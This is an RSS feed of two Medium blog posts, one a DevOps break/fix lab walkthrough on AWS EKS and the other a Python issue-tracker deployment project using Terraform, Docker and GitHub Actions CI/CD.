<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Space Mann on Medium]]></title>
        <description><![CDATA[Stories by Space Mann on Medium]]></description>
        <link>https://medium.com/@cc0a?source=rss-5707ddc648f4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LAaVsbkfryEtzlvhWyo7WQ.png</url>
            <title>Stories by Space Mann on Medium</title>
            <link>https://medium.com/@cc0a?source=rss-5707ddc648f4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:56:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cc0a/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DevOps BreakFix Labs Roulette]]></title>
            <link>https://medium.com/@cc0a/devops-breakfix-labs-roulette-34428d70d793?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/34428d70d793</guid>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 22:36:30 GMT</pubDate>
            <atom:updated>2026-11-22T22:36:30.480Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqZFa8x0rJcGxE7I48Us8A.png" /></figure><p>DevOps is intimidating enough isn’t it? Systems, Coding, networking…IaC, CICD, K8S, and public cloud…you can know them all pretty well and still not be considered good enough for a lot of the roles out there. Why? Because when SHTF you won’t know how to fix things, and that’s the giant in the room when you go to a DevOps interview for the first time. Will you be able to fix the things that inevitably break at 3AM, or are you going to escalate? Needless to say, your manager would prefer you’re able to fix it which is why I’ve created this series of labs. You spin up the environment, and then you utilize Python to dial out to your AWS lab and introduce either a specified break or you can introduce a random break if you want to give it a whirl on hard mode.</p><p>We’re going to be utilizing the same environment that I setup for the simple Python API/web app I setup before. Simple app, moderately complex architecture with some of the most common, DevOps environment breaking bugs available. That being said, let’s get started.</p><p>Repo available <a href="https://github.com/cc0a/portfolio_devops_eks_sandbox/tree/main">here.</a></p><p>This article is meant as a walkthrough for getting this infrastructure up and running, introducing a break, and then troubleshooting. It’s not meant to be a walkthrough for actually building this environment.</p><p>Let’s get started by downloading the repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*wNMirca0c0vSRcfO6lOJAg.png" /></figure><p>Next we pull down the app by pulling down the app image from ghcr.iointo the root of our repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*l2I_98_4R55C6g4Cpji5oQ.png" /></figure><p>After this we’re going to create an ECR repository to store the app image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*CZZDUSgEumnGlDUUpN5ftA.png" /></figure><p>Now we’re going to authenticate Docker to ECR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*NSceo0WN0s21ZlwloFSVZw.png" /></figure><p>Next we need to tag the image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*Quz2u-VUwu99PZSrj_jLWA.png" /></figure><p>Now we push the image to ECR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*x1AAiszXJMmc6BGtf1Wwcg.png" /></figure><p>Now let’s verify the image is in ECR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*geWPzgPMXkqgDUwCBiiv9Q.png" /></figure><p>Now we spin up Terraform from the EKS directory in our repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*LmRE4psUrUY42AdsSnY2cQ.png" /></figure><p>Now for K8S…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vtjAylEKNH0CPN4_uvZwAA.png" /></figure><p>After our infrastructure is spun up, we’re going to verify our cluster:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*LC2PjJIZUme05bh5gmNmlA.png" /></figure><p>Next, let’s get kubectl hooked into our cluster:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*8Uq1K7cgo0nsuc3yow0yLQ.png" /></figure><p>And now let’s verify connectivity:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/209/1*vD_ctiaZXqUZKxit3rVoxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/182/1*cZ7QA1VL_qQlcJ98lwrWaA.png" /></figure><p>Next we’re going to get our Python app up and running on our cluster by creating a namespace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*tzx8BaOdVFbayQG-m7VkhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*tHWyOGw4oDNov11NSFqHWw.png" /></figure><p>Now let’s set a password for the postgres DB:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*YCGD0dIH1TyHNhiDEq22Ig.png" /></figure><p>Now we need to apply the postgres.yaml found in the repo in the Kubernetes directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*CypIkUnPXT-Sza9hykNQtg.png" /></figure><p>Now let’s pull the pods to make sure our postgres pod is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*8vYC4QobvkJNrV1Yg1qGwg.png" /></figure><p>Next let’s check the service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*Ff7hSpd7HSrLw_QKIBwlnA.png" /></figure><p>Now let’s get the app.yaml running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*TFccNbyaPVFhtiyrXy5-cg.png" /></figure><p>Now let’s make sure the pod is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*NX02nd05Lo93LGOy4nRlgQ.png" /></figure><p>Next we’re going to do something cool by utilizing kubectl to portforward so that we can use curl to check the app via localhost (leave it running until you want to disable the forward):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*wl6tn2TLWb5aWjLLl-ahOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*ZRPRUL7fY-M10TW8oy0Ipw.png" /></figure><p>Sweet! It’s running! Next let’s confirm the database is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*tG2CyOrhF2jTOV7-37c-8Q.png" /></figure><p>Let’s just verify functionality of the app + db by creating an incident and then retrieving it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*sSTrpSeNLuKXxwfkgKu9aA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*NUxVRMSt7zbhKACTd5JlAA.png" /></figure><p>For the sake of thorough, let’s restart the app pod and attempt to retrieve again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*a3a4VRo4UfHLC2HfmAZDrw.png" /></figure><p>(DON’T FORGET TO RESTART YOUR FORWARD AS IT WILL GO DOWN AFTER RESTARTING!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*DmoizJlTic13OygGlxuWGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*oazXTL3iKlAEEHE8bCOkXw.png" /></figure><p>Now we need to get our automation setup and we’re going to start with GitHub Actions, go ahead and create a new repo in your own account and run a test commit. You should see the portfolio workflow run automatically:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqdGRI_OgnM8jmK_Ve5GVg.png" /></figure><p>Next we need to create a home for our incident manager runner:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*2IzDDnnim-aa3qgNayr0rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*r-Kj4rO5AllSHLn43ci9kQ.png" /></figure><p>Run the following commands to setup roles and permissions leveraging the ecr publish policy and github portfolio trust json files in the root of the repo.</p><p>Create the role:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*fwgekfgZFEgzjanuNn-slw.png" /></figure><p>Attach the policy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*lKmquYtS74El2jbtJsfMBw.png" /></figure><p>Next we’re going to create some tokens under our GitHub Repo to hook it into GitHub Actions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4MTKJ0ybQHsplKPPPmekA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*aDwaNbyILtxo46V83PyVHA.png" /></figure><p>Next we need to add a repo variable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*4b_vJqtJpI5eYFIesQS9xQ.png" /></figure><p>Go ahead and push another commit to your repo and you should see a new workflow starting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9tfktEDxh1JSVj0KfVm2NQ.png" /></figure><p>Now let’s confirm the changes took place by checking the app and runner images in ECR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*FU__CGL-gEIvJRx14A0eMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*0-eqeJ_rxscWOG6t5l_PTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*aQaDbuoKRPASgdXG1tmANA.png" /></figure><p>Now we’re going to intentionally break our environment, navigate to the root of the repo and run:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*r_y6Ttx0LocRaf4FOZ3Rzw.png" /></figure><p>Choose scenario 9:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*6wC79QA_RXYQHfXYUCjjlQ.png" /></figure><p>Choose Namespace 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*XV-CIyDB9mxsO9IersENvA.png" /></figure><p>Choose Deployment 1 and Container 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*R-dBgMPqQ14KqC0vCwMsLg.png" /></figure><p>Acknowledge and accept:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*sS7CSWmRV3TY5dtpuIzfTw.png" /></figure><p>Let’s verify our environment is broken by pulling he pods in the cloud-incident-manager namespace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*qbVQuEJ7GlIGgFk8_zNqYg.png" /></figure><p>It is indeed broken. Now let’s troubleshoot our CrashLoopBackOff error by checking the impacted pod:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*JUeo4y-ap9Gjap6_6sw3zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*mKdMHtD95wjUNgJHPTBPug.png" /></figure><p>Warning Failed 33m (x9 over 49m) kubelet Error: failed to create containerd task: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: exec: “/this-command-does-not-exist”: stat <strong>/this-command-does-not-exist: no such file or directory</strong></p><p>The error above gives us a clue as to what the problem is, let’s have a look at the ReplicaSet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*pTgTCYVdPnDPVvRZoUAkeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*c3tSzmDLcpXPCzZDqW4wbg.png" /></figure><p>We see the error above is the result of a broken command, so let’s go ahead and repair the .yml:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*zG_w3fEy5CExU-HkVL48lA.png" /></figure><p>Let’s confirm the fix as a final step:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*lhQkGal1abaZy1wZAC0TUQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34428d70d793" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Devops Project (AWS)]]></title>
            <link>https://medium.com/@cc0a/python-devops-project-aws-2036ecb7edb7?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2036ecb7edb7</guid>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sat, 14 Nov 2026 22:06:15 GMT</pubDate>
            <atom:updated>2026-11-15T18:00:23.717Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-wSqZDEPdzb3WoBuSIvwNw.png" /></figure><p>Now that I’ve gotten a good handle on AWS, Github Actions, and Terraform…I’m going to dig out my web app/dev skills to build a simple issue tracking application in Python and get it deployed to cloud in a modern dev environment. The purpose of this project is to demonstrate the usefulness of IaC and CICD, and to explore a practical implementation for both as they will be outlined in this article. I’m going to make it a point to provide brief summaries of my rationale and the tools/techniques being utilized, but as always I recommend learning these topics more in-depth on your own.</p><p>To start with, we’re going to need to deploy a (fairly) simple environment in AWS composed of a VPC, an EC2 instance, a database instance, database caching, a WAF and of course monitoring/logging. The reason we are utilizing a single compute instance is that this is intended to be an internal application, and is therefore realistic. For the purposes of expanding the demo I have gone ahead and made it publicly accessible, but this is purely for the sake of expanding the academic scope. In the real-world this app would be accessed only from within the private subnet it is sitting in.</p><p>Link to repo for this project can be found <a href="https://github.com/cc0a/cicd-docker-python-issue-tracker-app/tree/main/cloud-incident-manager">here</a>.</p><p>For our Terraform setup on this project things were kept pretty straightforward as the majority of the complexity on this project is going to be centered around CICD and the actual app itself. So the file structure is composed of:</p><p>main.tf — VPC, Security Groups, EC2, database, caching, etc…<br>outputs.tf — IPs and AWS resource IDs.<br>Providers.tf — Cloud Provider (AWS) defined here.<br>variables.tf — Region, Project, ingress.<br>etc…</p><p>For the purposes of testing, I’m spinning up the server manually and running all of the updates and setting up the venv for our application prior to packaging it in docker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9qe8kJytdT1XKrGhzat5YQ.png" /></figure><p>Let’s start with getting our server current:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*NY3AuVlDcB8lIY5_AUgdqA.png" /></figure><p>Next, let’s get our tooling installed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*ZT63ldJdW9tai-nex0VMSg.png" /></figure><p>Now we’re going to create our root directory + setup ownership:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*JeW20HHw47bCGv3eI3AtNQ.png" /></figure><p>We need to move over our app files from the repo, but we only need the app files so we’re going to do a sparse checkout:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*pB7xoTr4ORhq-hRTeOkWzA.png" /></figure><p>Now that we have our files, we need to create a venv in our project’s root directory for the project to separate the app’s Python from the server’s Python:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*qrTwDQLCiqqZQO7I-qlhIw.png" /></figure><p>Now we’re going to upgrade pip:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*uks3OJnhA77kcOiRc-0taQ.png" /></figure><p>Now let’s install our dependencies:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*p2Ds1Ij-82tSQFFd_vBkmQ.png" /></figure><p>And then verify the depencies:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*20X8b_u5iScoH0E6ZXXi2A.png" /></figure><p>Next let’s get the SQLite database stored:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*ZTDQRH0AvVpesc6br_ocew.png" /></figure><p>Let’s give our user write privileges to the DB:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*Au3i-QFYJESDJYoJXbpNRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*6K6tXjAkHs5jE46fhCqF_w.png" /></figure><p>Next, let’s create an .env file for our app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*7RBZTKpBI_ePlsWfBPtd0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*Re5zGjdCVCJVUdcn-e865w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*nOH7SiDqD_yPVeCsYA0HMA.png" /></figure><p>Now we verify our package structure and add the following files to ensure our app directories are read as python packages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*QANpKS3t_3JzdIxszeDmaw.png" /></figure><p>Now let’s compile our Python files and check imports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*oPEncbF2jva9a6E5r8UV6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*yIimrS7gQEvHPaULno5xvQ.png" /></figure><p>Now let’s initialize and verify the database and ensure it exists:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*v8jEaGzoIdKFUZ-YlM9sQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*nULus6awYO2-o31QpgyMeg.png" /></figure><p>Now let’s activate our virtual environment again (just in case) and start up our app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*U0lPCAAxFN97zeyncP5ARw.png" /></figure><p>It works, great. Next let’s curl it to be sure it’s working correctly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*2ywIkUfoFjhGJWaLnO_ASw.png" /></figure><p>Great, our GET request works. Now let’s create an incident with a POST request and verify that the backend is functioning as intended:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*E-TAgLtUrE8aMhX3NtCmYQ.png" /></figure><p>Now, let’s fetch all incidents and make sure it was actually created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*WLe8YTp9snQwwuvenjwrIg.png" /></figure><p>Now let’s update the incident status to critical:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*obhZ8I3DqO7KfccJSQxB0A.png" /></figure><p>Alright, now let’s make sure the service is running on port 8000 via uvicorn before accessing it externally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*O4peK2K0Mq1roNsMHGHmww.png" /></figure><p>Let’s now open port 8000 to the IP of our home/office network. Replace the SG with the SG of your own EC2 instance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*bvjk1op5CLzUfhqiF_T1nQ.png" /></figure><p>And now we can visit the app via browser w/the EC2 IP on port 8000:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6htp2Fo7czLKY8QGjqe4AQ.png" /></figure><p>Next, we’re going to automate everything we just did so that all a user needs to do is spin up a Docker container to have this app fully functional. We’re going to start by setting up a venv on our local machine before getting the app to where it was on EC2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*MX1YEhvXxK0Qw03rgx943A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*lTjgkWTKu1OmKvtjj4S0kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*cgP7YUe2WJZmAvVbnPEG1A.png" /></figure><p>From here on out we’re going to follow the same steps as above to get the app spun up, so I’m going to skip ahead to where we move the app into a Dockerfile.</p><p>First, install docker and docker compose, then verify they’re installed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*RflepwtP-lJh9ZQTyms0Ew.png" /></figure><p>Then install ca-certificates for curl:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*GwGy2cMY1fMyjB9XwkEK-Q.png" /></figure><p>Next we create the keyring directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*IfcYAEvlCCBnCeSQX4Ldvg.png" /></figure><p>Now we download Docker’s signing key and set permissions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*Sd7Kqkh6jeUW68eEazqqTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*_fFYWSFuJslTNhtggI5AGA.png" /></figure><p>Now let’s add the Docker repository:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*Ye4muXaXcImXzb6yGjjHNA.png" /></figure><p>Now we’re going to install Docker engine and compose:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/1*f31TwxLti485zGFTAk7pAg.png" /></figure><p>Next we’re going to create our Dockerfile, the contents of which can be found in our repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/172/1*BlVsoQKlAhz-oPKgmmOlRQ.png" /></figure><p>Make sure your .dockerignore file matches what’s in the repo, and then validate the docker compose config:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*vc9PWrGmorReEQbAe878qQ.png" /></figure><p>While composing our Docker container we hit an error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*p2Fy0fa-UuC8zpIyylsCpQ.png" /></figure><p>The fix was to install catatonit:</p><p><strong>sudo apt update<br>sudo apt install -y catatonit</strong></p><p>And this time it works:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*Rd5lqFL7Tpw4WK_t_4zKOw.png" /></figure><p>Now let’s spin up the container:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*cJakEJIR-jWoyqhRim8Krg.png" /></figure><p>Great, now that our app is spinning up from Docker, we can move on to GitHub Actions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*ksC3mQQIlNqlrlWokzet5Q.png" /></figure><p>Here are the broad strokes of what our CICD pipeline will be providing:</p><ul><li>Checkout and environment — Retrieve repo and setup Python 3.13</li><li>Code quality — Ruff linting and formatting checks.</li><li>Dependency security — Dependency vulnerability scanning with pip-audit, plus dependency consistency checks</li><li>Static application security — Bandit scans Python code for common security weaknesses</li><li>Secret detection — Gitleaks checks commits for accidentally committed credentials and tokens.</li><li>Automated testing — Run your pytest suite against an isolated SQLite database.</li><li>Docker security — Build the application image and scan it with Trivy for vulnerable OS and packages.</li><li>Reporting — Upload useful scan results and make failed security checks visible in GitHub Actions</li></ul><p>All and all, not a bad set of features for our CICD pipeline, and they are certainly sufficient for a small, production application. Before moving on to standing up our CI, we should start with a clean code base, and so we’re going to lint with Pytest, Bandit, pip-audit, Ruff formatting, and Ruff lint. Once we have cleaned up our code, we can proceed.</p><p>After your code is cleaned up, we can get started on our first workflow for our CICD pipeline — ci.yml — some things to note about our CI:</p><ul><li>The CI job uses SQLite so it doesn’t require a running PostgreSQL server or our private .env file. This matters because our database health endpoint connects through the application&#39;s configured database engine.</li><li>Docker only builds after all Python checks pass.</li><li>GitHub Actions gets read-only repository permissions.</li><li>There are no AWS credentials or deployment secrets involved yet.</li></ul><p>After we’ve pushed the ci.yml to GitHub, we’re going to inspect our Actions and see if the workflow executed correctly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ml1oYLUc-IgKcNqvlm2qiA.png" /></figure><p>Looks good to me. This result means that we’ve successfully:</p><ul><li>Validated our Python code</li><li>Checked our formatting and code quality</li><li>Scanned our application for security issues</li><li>Audited dependencies for known vulnerabilities</li><li>Ran our automated tests</li><li>Built our Docker image</li></ul><p>Next, we need to publish the Docker image to GHCR, and we will also build and validate on pull requests without publishing anything in order to validate before creating resources in AWS. This is done by making some adjustments to the ci.yml workflow file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLiuo3zFr-Ec-SpDi-vLBg.png" /></figure><p>View specific changes <a href="https://github.com/cc0a/cicd-docker-python-issue-tracker-app/commit/d8adf66cc4121086602d683ce1b2b96c61e94374?utm_source=chatgpt.com#diff-a2c404729c1a1d3e9e5d2ffc838551cd8ce2df6a">here.</a></p><p>Also, before we move on we make sure our action ran smoothly which it did:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c19EoiXSGmUijsOxH3nyXA.png" /></figure><p>The next step for our project is going to be to migrate the Terraform state for this project into an S3 bucket. Let’s get that party started by creating an S3 bucket:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*RjI8ri54GSpDQF59yYc4LA.png" /></figure><p>We then create backend.tf to configure Terraform to use the S3 bucket to store our state:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*Z6fkepHQ1ytGXR210LH6_Q.png" /></figure><p>Now we re-initialize Terraform to make sure it’s using our S3 bucket to store the state:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*dAkwLPJ2GhPVCChAn3quZQ.png" /></figure><p>Now let’s backup our TF state just in case:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*ykKkKTwGRkNiC-DmZ4W4Ww.png" /></figure><p>And now let’s get our state ready to migrate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*xerIBiEywDVwYiOi10kiEw.png" /></figure><p>Now, let’s push our state to S3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*0zVym72t547mzHdUHh2xwg.png" /></figure><p>Next we need to setup GitHub Actions w/AWS OIDC, first by checking if we already have any OIDC providers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*jfvrTSV_XR_O5WkQxOd3Sw.png" /></figure><p>And we don’t, so let’s go ahead and create one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*t4Psin82oH2Wa6dGtbS6tA.png" /></figure><p>Next, we need to create the following two IAM roles —GitHubActionsTerraformPlan + GitHubActionsTerraformApply:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*RHAklYJY2yxi-nhP9Zr9OA.png" /></figure><p>Now we create the plan role’s trust policy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*qyFoaaRDIa1nvHI8azk4Ow.png" /></figure><p>And now we create the apply role’ trust policy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*hpz9NkYFdrikjql8RZJ8TQ.png" /></figure><p>Next we create the roles:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*5SppQecuR1jijaOnSIymhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*Zq4GloNc3PzFN-JjvFOHmA.png" /></figure><p>Next we set up S3 State permissions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*flFGka8yEC2PAXXecpOf4w.png" /></figure><p>Next we’re going to attach it to both roles directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*uw5MW9wjXbOCZhmpZTKitg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*4Spgcoatg4i2uV0jJGYMOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*D2AyAacO74jVq0h2NQAAVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*mwKAA6KzpmtE87AK_QMfRw.png" /></figure><p>Next we need to create our GitHub Environment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Os1UW-c1vOGwS-7G2X_Y8w.png" /></figure><p>Click on New environment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*_8RM4OJ6yFBvvst_UPFpwg.png" /></figure><p>Next we add our AWS Region Variable and AWS Account ID variable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2R3BjuNLp8hcHJ9-KlG9g.png" /></figure><p>Once this is done we push the changes to GitHub.</p><p>The next change is to make the EC2 deployment pull the published GHCR image, rather than trying to build the image on the server. We’ll retain Docker Compose, use Terraform outputs for the instance ID and application port, and trigger the first deployment manually so we can verify it before automating the sequence.</p><p>After a lot of troubleshooting with IAM roles and authentication to GitHub, we were able to pass all tests and get the app deployed. Unfortunately when attempting to curl the App’s public we are not getting a response. Looks like while I was doing setting up the Docker container I forgot to setup ingress for the security groups on the EC2 instance. Let’s fix that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*kXMV4c1wQ-klFBZVGbmW4w.png" /></figure><p>And of course I fixed it in the container also. Let’s send another GET request to our app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*qtPZPX28XtUG8DEzrnOlwg.png" /></figure><p>Sweet! After making some changes to the repo locally to push these changes, and next we’re going to destroy the environment and re-launch it to make sure everything is going to deploy as it should. We accomplish this by running the destroy.yml workflow before re-deploying:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*so0W1somfgAw5ajMuyPYug.png" /></figure><p>Now we’re going to run our the Terraform Infrastructure Action followed by the Deploy Cloud Incident Manager Action:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4gOUB0pQvwH2Tn7rKGrdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g5PTumd_hb7Sx4iZ1vbbAA.png" /></figure><p>Now let’s verify the app is up and running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*fotlj6GAI7s5dpYrzEaNxQ.png" /></figure><p>Okay nice, it works. Mission Accomplished!</p><p>###################Post-Release Security Hardening################</p><p>After having some time to reflect upon the project, there are some additional changes I decided to make to harden security. Much like those who push services to market as fast as they can, I have some areas of improvement that I need to address. And hey why not come back to it since we have a CICD pipeline in place to assist?</p><p>Let’s get started with spinning up an RDS instance and utilize secrets manager by updating our database.tf file and then add boto3 to our requirements file for our server.</p><p>Here’s a <a href="https://github.com/cc0a/cicd-docker-python-issue-tracker-app/commit/032a37dae26a265069a06fcfb63704fc46e0fe14?utm_source=chatgpt.com">link</a> to those changes, more to come.</p><img 